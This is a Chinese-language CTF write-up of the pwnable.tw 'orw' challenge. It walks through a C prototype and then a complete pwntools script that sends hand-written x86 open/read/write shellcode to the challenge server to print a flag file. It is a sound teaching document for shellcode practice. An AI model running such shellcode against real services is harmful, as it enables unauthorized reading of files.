pwnable.tw之orw解析
 
pwnable.tw 上的第二道题,考察的就是shellcode的编写(汇编代码)能力
0x00 序
这个题没有什么弯路,就是看你自己shellcode和汇编的能力
题目相关文件:https://github.com/Reshahar/BlogFile/tree/master/pwnable.tw-orw
0x01 分析
首先还是使用IDA看一下程序,代码如下
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+4h] [bp-4h]@0
int savedregs; // [sp+8h] [bp+0h]@0
int savedregs_4; // [sp+Ch] [bp+4h]@0
orw_seccomp();
printf("Give my your shellcode:");
read(0, &shellcode, 0xC8u);
((void (__stdcall *)(int, int, int))shellcode)(v4, savedregs, savedregs_4);
return 0;
}
程序的功能就是让你放置shellcode然后执行,而pwnable.tw上说了只能使用orw(open,read,write)函数去读去 “/home/orw/flag” 的内容,直接写汇编可能有点难度,所以还是先用C语言实现一下,然后参考C语言的流程再用汇编实现,可能更好,当然如果你的汇编能力极强可以直接写
我写的C语言程序如下:
//在/home/orw/下创建flag文件
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
int main()
{
int fd;
char buf[100]={0};
fd = open("/home//orw//flag",0,0);
read(fd,buf,100);
write(1,buf,100);
close(fd);
}
编译运行,结果如下
root@kali:~/D/other/asm_program/pwnable.tw-orw# ./test
FLAG{123123}
然后就使用汇编实现了,c语言调用函数不适合汇编,汇编编写的时候要用int 0x80系统调用
sys_read 调用号3
sys_write 调用号4
sys_open 调用号5
使用pwntools的asm功能,完整的exp如下:
#filename:exp.py
#author: reshahar
from pwn import *
#p = process('./orw')
p = remote('chall.pwnable.tw',10001)
sh = asm('sub esp,100')
sh += asm('xor ecx,ecx')
sh += asm('xor edx,edx')
sh += asm('xor eax,eax')
sh += asm('xor ebx,ebx')
sh += asm('push ecx')
sh += asm('push 0x67616c66') #string '/home//orw//flag'
sh += asm('push 0x2f2f7772')
sh += asm('push 0x6f2f2f65')
sh += asm('push 0x6d6f682f')
sh += asm('mov ebx,esp')
sh += asm('mov al,5')
sh += asm('int 0x80') #call open()
sh += asm('nop')
sh += asm('mov ebx,eax')
sh += asm('mov ecx,esp')
sh += asm('mov edx,60')
sh += asm('mov eax,3')
sh += asm('int 0x80') #call read()
sh += asm('nop')
sh += asm('mov ebx,1')
sh += asm('mov edx,60')
sh += asm('mov eax,4')
sh += asm('int 0x80') #call write()
sh += asm('nop')
sh += asm('add esp,120') #stack balance
sh += asm('ret')
p.send(sh)
# f = open ('1','wb')
# f.write(sh)
p.recvuntil('Give my your shellcode:')
print p.recv(60)
0x02 总结
调试很重要,如果shellcode不正常,调试就是最好的解决办法,仅靠大脑去推算是不行
0x03 参考
[1]:http://blog.csdn.net/xiaominthere/article/details/17287965 Linux系统调用 int 80h int 0x80
[2]:http://lobert.iteye.com/blog/1705861 linux c学习笔记—-文件的创建与读写(open,read,write)